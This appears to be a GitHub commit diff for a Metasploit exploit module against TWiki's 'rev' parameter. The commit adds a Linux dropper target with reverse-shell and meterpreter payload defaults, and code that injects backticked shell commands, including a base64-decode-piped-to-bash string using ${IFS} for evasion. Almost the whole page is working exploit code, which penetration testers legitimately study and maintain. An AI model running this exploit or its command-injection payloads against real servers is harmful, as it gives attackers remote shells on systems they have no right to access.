Skip to content

Commit 9ec3a9f

Browse files
committed
twiki_history: Add dropper target support
1 parent 4beea6a commit 9ec3a9f

File tree

1 file changed

+60
-10
lines changed

1 file changed

+60
-10
lines changed

modules/exploits/unix/webapp/twiki_history.rb

Lines changed: 60 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
1011

1112
def initialize(info = {})
1213
super(
@@ -40,13 +41,39 @@ def initialize(info = {})
4041
'Privileged' => true, # web server context
4142
'Payload' => {
4243
'DisableNops' => true,
43-
'BadChars' => '',
44-
'Space' => 1024,
44+
'BadChars' => '', # ' ',
45+
'Space' => 1024
46+
},
47+
'Targets' => [
48+
[
49+
'Automatic (Unix Command)',
50+
{
51+
'Platform' => 'unix',
52+
'Arch' => ARCH_CMD,
53+
'Type' => :unix_cmd,
54+
'DefaultOptions' => {
55+
'PAYLOAD' => 'cmd/unix/reverse_netcat' # cmd/unix/php/meterpreter/reverse_tcp
56+
}
57+
}
58+
],
59+
[
60+
'Automatic (Linux Dropper)',
61+
{
62+
'Platform' => 'linux',
63+
'Arch' => [ARCH_X86, ARCH_X64],
64+
'Type' => :linux_dropper,
65+
'CmdStagerFlavor' => [ 'echo', 'printf' ],
66+
'DefaultOptions' => {
67+
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
68+
}
69+
}
70+
]
71+
],
72+
'DefaultTarget' => 1,
73+
'DefaultOptions' => {
74+
'PrependFork' => true,
75+
'MeterpreterTryToFork' => true
4576
},
46-
'Platform' => [ 'unix' ],
47-
'Arch' => ARCH_CMD,
48-
'Targets' => [[ 'Automatic', {}]],
49-
'DefaultTarget' => 0,
5077
'Notes' => {
5178
'Reliability' => UNKNOWN_RELIABILITY,
5279
'Stability' => UNKNOWN_STABILITY,
@@ -125,14 +152,26 @@ def check
125152
return Exploit::CheckCode::Vulnerable
126153
end
127154

128-
def exploit
155+
def execute_command(cmd, _opts = {})
156+
vprint_status("Executing command: #{cmd}")
157+
129158
rev_url = normalize_uri(datastore['URI'], datastore['TWIKI_PAGE'])
130159
rev_url << '?rev='
131160
rev_url << datastore['TWIKI_REVISION'].to_s
132161
vprint_status("URI: #{rev_url}")
133162

134-
rev = '`' + payload.encoded + '`#'
135-
163+
rev = datastore['REVISION'].to_s
164+
if payload_instance.respond_to?(:command_string)
165+
vprint_status('Using command-based payload')
166+
rev = "`" + cmd + "`"
167+
elsif target['Type'] == :linux_dropper
168+
vprint_status('Using platform payload (will perform base64 encoding)')
169+
b64p = ::Base64.strict_encode64(cmd)
170+
rev = "`echo${IFS}#{b64p}|base64${IFS}-d|bash`"
171+
else
172+
# Shouldn't get here
173+
print_warning("Unknown payload: #{target['Type']}")
174+
end
136175
uri = rev_url + Rex::Text.uri_encode(rev)
137176

138177
vprint_status("Sending payload")
@@ -144,7 +183,18 @@ def exploit
144183
fail_with(Failure::Unknown, "Error sending exploit request") if res.nil?
145184
fail_with(Failure::Unknown, "Error with exploit request (HTTP #{res.code}, should be 200)") unless res.code == 200
146185
print_good("Exploit complete")
186+
end
147187

148-
handler
188+
def exploit
189+
vprint_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
190+
191+
case target['Type']
192+
when :unix_cmd
193+
execute_command(payload.encoded)
194+
when :linux_dropper
195+
execute_cmdstager
196+
else
197+
fail_with(Failure::BadConfig, "Invalid target specified: #{target['Type']}")
198+
end
149199
end
150200
end

0 commit comments

Comments
 (0)